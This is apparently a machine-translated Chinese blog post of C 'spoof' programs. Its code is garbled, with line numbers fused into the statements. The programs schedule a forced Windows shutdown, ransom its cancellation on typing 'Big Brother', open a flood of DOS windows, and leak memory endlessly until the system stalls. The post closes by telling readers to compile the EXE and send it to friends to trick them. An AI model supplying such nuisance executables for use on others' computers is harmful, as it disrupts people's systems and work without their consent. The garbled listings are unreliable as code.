Spoof Small Program:
1 #include <stdio.h> 23int main ()4{ 5 System ("shutdown-s-T 3600"); // pop-up windows 60 seconds Countdown shutdown 6 7 return 0 ; 8
Shutdown Reminders
Solution, if the time is too short, you have no way, 3600s enough you open a command prompt, shutdown-a cancel the shutdown schedule
1#include"stdio.h"2 intMain ()3 {4 intN;5 Chara[Ten];6printf"call the elder brother, do not call off the machine (you have 30 seconds, if you close the program to shut down) \ n");7System"shutdown-s-T 3600");8 while(1)9 {Tenprintf"called:"); Onescanf"%s",&a); AN=STRCMP (A,"Big Brother"); - if(n==0) - { theSystem"shutdown-a"); -printf"Well, that's good!!! Yes, ha ha!!! "); - Break; - } + } -}
a little more fun.
Honestly input Big Brother.
1#include <stdio.h>2 3 intMain ()4 { 5 inti =0;6 7 for(i=0;i< -; i++)8 {9System"Start");//a DOS window will open every time you runTen } One A return 0; -}
pop up a lot of box
Here the principle is just call DOS command, of course, can also open a lot of web Site window, the solution is you don't point, haha
1#include <stdio.h>2#include <malloc.h>3 4 intMain ()5 { 6 while(true){//causes the system to become slower because memory is constantly occupied7 malloc( +);//allocate 1000 bytes of space length per execution8 //You can view the Performance window of Task Manager to compare9 } Ten return 0; One}
circulating memory to get the system stuck
The principle here is to always allocate memory out, no matter how large your memory, it is only a matter of time for you to get stuck. Don't point.
Production Method:(for learning to play, do not tease friends)
Write good program, compile with vc++6.0, link, do not point run, in your project directory of the Debug folder under the EXE copy out, to friends, spoof a bit.
Don't be too ruthless, don't overdo it, lest you hurt your feelings.
C language Learning _ spoof applet